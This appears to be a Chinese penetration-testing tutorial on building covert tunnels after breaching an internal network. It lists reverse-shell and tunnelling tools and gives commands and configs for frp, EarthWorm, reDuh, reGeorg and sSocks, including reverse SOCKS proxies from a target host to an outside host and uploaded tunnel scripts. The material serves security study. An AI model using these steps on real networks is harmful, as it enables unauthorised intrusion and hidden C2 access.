构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候,通过反弹shell、端口转发、内网穿透等技巧,来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限,通过隧道技术绕过网络限制,实现隐蔽C2服务器的通信。
在这里,我梳理了一张脑图,将构建内网隐蔽通道分为突破访问限制和隐藏通信隧道技术。在不同的场景下进行应用,突破限制访问内网服务器,利用隧道技术实现C2通信。
image.png

突破访问限制方式

反弹shell

  1. 一句话反弹shell的各种方式
  2. 1、系统自带命令:bash反弹、awk反弹、telnet反弹、socat反弹、powershell反弹、nc反弹等
  3. 2、编程语言实现:python反弹、php反弹、perl反弹、ruby反弹、lua反弹等
  4. 3、渗透测试框架:MSFCobalt strikeEmpirenishang

端口转发

  1. 端口转发的几种常用方法
  2. 1、系统自带命令:ssh端口转发、iptables端口转发、firewall端口转发、rinetd端口转发、netsh端口转发、socat端口转发
  3. 2、第三方小工具:lcx端口转发、ncat端口转发、portmap端口转发

内网穿透工具

  1. 内网穿透工具,提供http,tcp,udp全隧道穿透
  2. 1ngrokhttps://ngrok.com
  3. 2frphttps://github.com/fatedier/frp
  4. 3Sunny-Ngrokhttps://www.ngrok.cc
  5. 4Natapphttps://natapp.cn

远程控制软件

  1. 常见的远程控制软件
  2. 1TeamViewerhttps://www.teamviewer.cn/cn/
  3. 2、向日葵:https://sunlogin.oray.com/

隐藏通信隧道技术

ICMP隧道

  1. IP 流量封装进 IMCP ping 数据包进行传输
  2. 隧道工具:icmptunnelptunnelicmpshpowershell icmp
  3. 1icmptunnelhttps://github.com/jamesbarlow/icmptunnel
  4. 2ptunnelhttp://www.cs.uit.no/~daniels/PingTunnel/
  5. 3icmpshhttps://github.com/inquisb/icmpsh
  6. 4Powershell-ICMPhttps://github.com/api0cradle/Powershell-ICMP

IPv6 隧道

  1. 通过 IPv4 隧道传送 IPv6 数据报文
  2. 隧道工具:socat6tunnelnt6tunnel
  3. 1socathttp://www.dest-unreach.org/socat/download/
  4. 26tunnelhttps://github.com/wojtekka/6tunnel

UDP隧道

  1. UDPTCP发送数据
  2. UDP隧道工具,如Udp2raw-Tunneludptunnel
  3. 1Udp2raw-Tunnelhttps://github.com/wangyu-/udp2raw-tunnel

Socks隧道

  1. 全能代理,支持多种协议,包括httpftp请求及其它类型的请求。
  2. socks代理工具:
  3. 1sSockshttp://sourceforge.net/projects/ssocks
  4. 2Earthwormhttps://github.com/rootkiter/EarthWorm
  5. 3Shadowsockshttps://shadowsocks.org
  6. socks代理链工具:
  7. 1SocksCap64http://www.sockscap64.com
  8. 2Proxifierhttps://www.proxifier.com
  9. 3ProxyChainshttp://proxychains.sourceforge.net

HTTP(S) 隧道

  1. 把所有要传送的数据全部封装到HTTP协议里进行传送
  2. 隧道工具:Kali自带的HTTPTunnelreDuhreGeorgTunna
  3. 1reDuh:https://github.com/sensepost/reDuh
  4. 2reGeorg:https://github.com/sensepost/reGeorg
  5. 3ABPTTS :https://github.com/nccgroup/ABPTTS
  6. 4Tunna:https://github.com/SECFORCE/Tunna
  7. 5node-http-tunnel:https://github.com/johncant/node-http-tunnel

SSH隧道

  1. 通过SSH协议构造隧道达成数据加密传输
  2. 隧道工具:系统自带的SSHAutoSSH
  3. 1AutoSSHhttps://www.harding.motd.ca/autossh

DNS隧道

  1. 通过将其他协议封装在DNS协议中进行通信。
  2. 隧道工具:dnscat2iodinedns2tcp等。
  3. 1dnscat2https://github.com/iagox86/dnscat2
  4. 2iodinehttps://github.com/yarrick/iodine
  5. 3dns2tcphttps://pkgs.org/download/dns2tcp

1、ngrok

ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。
官网地址:https://ngrok.com
使用步骤:
(1)进入ngrok官网注册账号,并下载ngrok。
(2)在目标机器上,填写授权码,运行ngrok。
./ngrok authtoken 授权码

(3)将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。
./ngrok http 80
image.png

2、frp

frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。
git项目地址:https://github.com/fatedier/frp
使用步骤:
(1)将 frps 及 frps.ini 放到有公网 IP 的机器上,修改frps.ini文件,配置一个名为ssh的反向代理:

  1. # frps.ini
  2. [common]
  3. bind_port = 7000
  4. [ssh]
  5. listen_port=6000
  6. auth_token=123

(2)启动frps:
./frps -c ./frps.ini
(3)将 frpc 及 frpc.ini 放到处于内网环境的机器上,修改 frpc.ini 文件,设置 frps 所在服务器的 IP 为 x.x.x.x:

  1. # frpc.ini
  2. [common]
  3. server_addr = 192.168.172.131
  4. server_port = 7000
  5. auth_token =123
  6. [ssh]
  7. type = tcp
  8. local_ip = 127.0.0.1
  9. local_port = 22
  10. remote_port = 6000

(4)启动frpc:
./frpc -c ./frpc.ini
(5)通过ssh访问内网服务器,假设用户名为test:
ssh -p 6000 test@x.x.x.x

3、Sunny-Ngrok

一条命令解决的外网访问内网问题,无需任何配置,一条命令让外网访问您的内网不再是距离。Ngrok客户端,支持Windows、Linux、Mac,提供python、PHP等版本。
官网地址:https://www.ngrok.cc
使用步骤:
(1) 开通http隧道,设置隧道协议、本地端口等信息。
image.png
(2)通过隧道id启动隧道。

image.png
(3)在公网上访问域名,即可访问到内网的网站。
image.png

4、Natapp

基于ngrok的内网映射工具,免费版本提供http,tcp,udp全隧道穿透、随机域名/随机TCP,UDP端口、不定时强制更换域名/端口和自定义本地端口。
下载地址:https://natapp.cn
(1)购买隧道,设置隧道协议和本地端口。
image.png
(2)下载客户端,到目标主机,运行natapp。
image.png
(3)将natapp分配的网址复制下来,在浏览器中访问,可以看到内网穿透成功了!
image.png

5、Earthworm 内网穿透

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
支持Windows、Linux、MacOS、Arm-Linux。
项目地址:http://rootkiter.com/EarthWorm
使用方法:
(1)正向 SOCKS v5 服务器,适用于目标网络边界存在公网IP且可任意开监听端口。
./ew -s ssocksd -l 1080

(2)反弹SOCKS v5 服务器,适用于目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
a) 先在一台具有公网 ip 的主机A上运行以下命令: ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 ./ew -s rssocks -d 1.1.1.1 -e 8888
(3)多级级联,适用于多层级的复杂网络环境,将内网深层的服务转发到外网。

  1. ## 二级级联测试用例
  2. # 方式一:利用lcx_tran
  3. $ ./ew -s ssocksd -l 9999
  4. $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
  5. # 方式二:
  6. $ ./ew -s lcx_listen -l 1080 -e 8888
  7. $ ./ew -s ssocksd -l 9999
  8. $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
  9. ## 三级级联测试用例
  10. $ ./ew -s rcsocks -l 1080 -e 8888
  11. $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
  12. $ ./ew -s lcx_listen -l 9999 -e 7777
  13. $ ./ew -s rssocks -d 127.0.0.1 -e 7777

6、reDuh

ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具,通过在服务器上传JSP/PHP/ASP脚本,就可以轻易地连接到服务器后面的主机。
github项目地址:https://github.com/sensepost/reDuh
(1)上传服务端jsp脚本到目标机器
image.png
(2)使用reDuh客户端连接服务端脚本上传后的地址。
java -jar reDuhClient.jar http://192.168.172.1/reDuh.jsp
image.png

7、reGeorg

reGeorg是reDuh的继承者,利用了会话层的socks5协议,结合Proxifier使用效率会更高。
下载地址:https://github.com/sensepost/reGeorg

使用方法:
(1)1、将 tunnel脚本(aspx | ashx | jsp | php)上传到Web服务器,访问显示“Georg says, ‘All seems fine’“,表示脚本运行正常。
image.png
(2)在攻击者机器上,启动reGeorgSocksProxy.py,监听9999端口,看到 Checking if Georg is ready,确认正常运行。
image.png

8、Tunna

Tunna是一款神奇的工具,它可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。
github项目地址:https://github.com/SECFORCE/Tunna
image.png

9、sSocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。
下载地址:http://sourceforge.net/projects/ssocks/

使用方法:
(1)正向代理
./ssocksd --bind 192.168.172.131 --port 1234
(2)反向代理

监听6020端口转发到6010
./rcsocks -l 6020 -p 6010 -vv
反向连接代理主机6010端口
./rssocks -s 192.168.172.131:6010 -vv